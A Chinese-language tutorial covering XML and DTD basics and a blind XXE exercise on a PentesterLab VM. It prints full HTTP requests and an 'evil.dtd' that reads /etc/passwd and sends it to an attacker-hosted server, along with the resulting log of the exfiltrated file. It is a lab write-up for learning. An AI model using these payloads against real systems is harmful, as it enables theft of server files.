1. 程式人生 > >XXE漏洞及Blind XXE練習

XXE漏洞及Blind XXE練習

如果有問題請您指正。

XML基礎

xml 是 可擴充套件標記語言(EXtensible Markup Language)的縮寫。它與HTML類似同為w3c推薦標準,但是比HTML要嚴謹。因為它所有的標籤一定要閉合。 同時它也可以用自己定義的標籤,但是XML是不作為的標記語言,不像HTML,XML只是將資料結構化儲存與傳輸。 w3cschool-xml的教程

  1. XML有關的幾點:

    • 所有XML都必須要有關閉標籤。

          <note> this's note example <note>
      
    • 所有XML的標籤對大小寫敏感

      <Message> i've something to tell u </Message
      >
      <message> the '<Message>' is different with '<message>' </message> <!-- 在XML裡不允許出現 <|>|'|"|& 五個符號,上邊出現是為了演示方便。 -->
    • XML的屬性值必須加引號

      
      <!-- wrong example -->
      
      <note data=8/2/16/> </note>
      
      <!-- right example -->
      
      <note data="08/02/16"> </note
      >
    • 在XML中有五個符號需要實體引用

      實體引用 符號 中文解釋
      &lt; < 小於號
      &gt; > 大於號
      &amp; & 和號
      &apos; ' 單引號
      &quot; " 雙引號

DTD驗證

DTD是文件型別定義(Document Type Define)的縮寫,其作用是定義XML文件的合法構建模組。 W3C School DTD 教程. DTD實體變數在使用是以&開頭,以;結束

  1. DTD 舉例說明

    • 在內部

      語法如下:

      <!-- This's a DTD example in XML file -->
      <?xml version="1.0"?>
      <!DOCTYPE note [
          <!ELEMENT note (to, from, heading, body)>
          <!ELEMENT to (#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMEhhNT body (#PCDATA)>
      ]>
      <note>
          <to> jxy </to>
          <from> jxy </from>
          <heading> Remider </heading>
          <body> Don't forgot working hard </body>
      </note>
      
      • !DOCTYPE note 定義此文件是note型別的文件
      • !ELEMENT note 定義note元素有四個元素 : to,from,heading, body
      • !ELEMENT to|from|heading|body 定義to|from|heading|body元素為#PCDATA 型別
    • 外部文件宣告

      語法如下:

      <?xml version="1.0"?>
      <!DOCTYPE note SYSTEM "note.dtd">
      <note>
          <to> jxy </to>
          <from>  jxy </from>
          <heading> Remeber </heading>
          <body> Don't forgot work hard </body>
      </note>
      
      <!-- note.dtd 
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to (#PCDATA)>
      <!ELEMENT from (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body (#PCDATA)>
      -->
      
  2. DTD 解釋
    所有的XML以為HTML文件均為以下簡單的構建模組構成.

    元素 屬性 實體 PCDATA CDATA
    同上 同上 同上 PCDATA是會被解析器解析的文字,這些文字將會被解析器檢查實體與標記。 CDATA是不會被解析器解析的檔案。

    重點在於 DTD中的實體宣告。這是XXE洞的基礎。其中SYSTEM|PUBLIC是兩種狀態,一是私有的,另外一個是公有的。可參考 這篇文章

    • 一個內部實體的宣告

      <!ENTITY 實體名 "實體的值" >
      <!-- Examples -->
      <!ENTITY write "Shinpachi8" >
      <!ENTITY copyright '@Shinpachi8'>
      
      <!-- 引數變數宣告 -->
      <!ENTITY %foo1 SYSTEM "foo1">
      <!-- 在使用時,用%來使用. -->
      %foo1;
      
    • 一個外部實體的宣告。

      <!ENTITY 實體名 SYSTEM|PUBLIC "url/uri">
      <!-- Example -->
      <!ENTITY writer SYSTEM "http://xxx.com">
      <!ENTITY copyrite PUBLIC '../xx.dtd'>
      
      <!-- 引數變數宣告 -->
      <!ENTITY %foo1 SYSTEM "file:///etc/passwd">
      <!ENTITY %foo2 SYSTEM "http://127.0.0.1/id=%foo1;">
      
    • CDATA 解釋
      這裡稍微解釋一下CDATA的內容。如上所說CDATA是不應由XML解析器進行解析的文字資料 (Unparsed Character Data)。在CDATA中,即使’<>&’符號也不會產生錯誤。CDATA部分由<![CDATA[開始,由]]>結束。但是CDATA部分不能包含字串]]>。如下.

      <script>
      <![CDATA[
      function matchwo(a, b){
          if (a < b && a < 0) then
          {
              return 1;
          }
      }
      ]]>
      </script>
      

XXE 漏洞

現在這一部分是由PENTEST LAB的XXE練習來總結的。也參考了以上的內容。

  1. pentest lab 上下載iso鏡象並安裝至VIRTUAL BOX上。開啟網頁是一個登入介面。
  2. 用BURPSUITE做代理得如下。
    play xxe login
  3. 用xml的實體來試。
    輸入為:

    POST /login HTTP/1.1
    Host: 10.108.40.26
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://10.108.40.26/login
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Length: 37
    
    <?xml version="1.0"?>
    <foo>xxe
    

    雖然 請求內容為非正常的XML, 但是回覆與上圖相同。 原因在於Content-Type請求頭未設定。即如果請求為:

    POST /login HTTP/1.1
    Host: 10.108.40.26
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://10.108.40.26/login
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: text/xml
    Content-Length: 31
    
    <?xml version="1.0"?>
    <foo>xxe
    

    那麼響應為:

    <p id="detail">
        For request 'POST /login' [Invalid XML]
    </p>
    

    可以看出是有XML問題的。 但是如果請求一個正常的XML格式,返回的內容與圖一致。即這是一個Blind XML. 需要一個帶外資料通道來顯未資料。

  4. Blind XXE

    • 首先在攻擊者的伺服器建一個DTD的資料格式檔案。其內容為:

      <!ENTITY %file SYSTEM "file:///etc/passwd">
      <!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.IP/id=%file;'>">
      %request;
      
    • 在LOGIIN時POST資料更改為:

      POST /login HTTP/1.1
      Host: 10.108.40.26
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Referer: http://10.108.40.26/login
      Connection: keep-alive
      Content-Type: text/xml
      Upgrade-Insecure-Requests: 1
      Content-Length: 98
      
      <?xml version="1.0"?>
      <!DOCTYPE xxe SYSTEM "http://10.108.41.62:8000/evil.dtd">
      <xxe>foo</xxe>
      

      此時會在攻擊的本地生成一條請求記錄如下:

      10.108.40.26 - - [04/Dec/2016 20:13:47] "GET /evil.dtd HTTP/1.1" 200 -
      

      即這時我們已經成功的進行了請求。 如果 把請求內容改成。這裡&符號後邊的foo,對應的是自己寫的DTD檔案中的foo

      <?xml version="1.0">
      <!DOCTYPE xxe SYSTEM "http://10.108.41.62:8000/evil.dtd">
      <xxe>&foo;</xxe>
      

      剛在攻擊者日誌會顯示 :

      10.108.40.26 - - [04/Dec/2016 20:19:40] "GET /evil.dtd HTTP/1.1" 200 -
      10.108.40.26 - - [04/Dec/2016 20:19:40] "GET /?id=root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1" 200 -
      

      在BURPSUITE裡 DECODE一下即為:
      play xxe file read
      可以看出來。已經成功的讀取到了/etc/passwd的檔案內容。這個ISO練習還有一部分,但是不是涉及XXE的問題,所以有興趣的可以自己嘗試一下。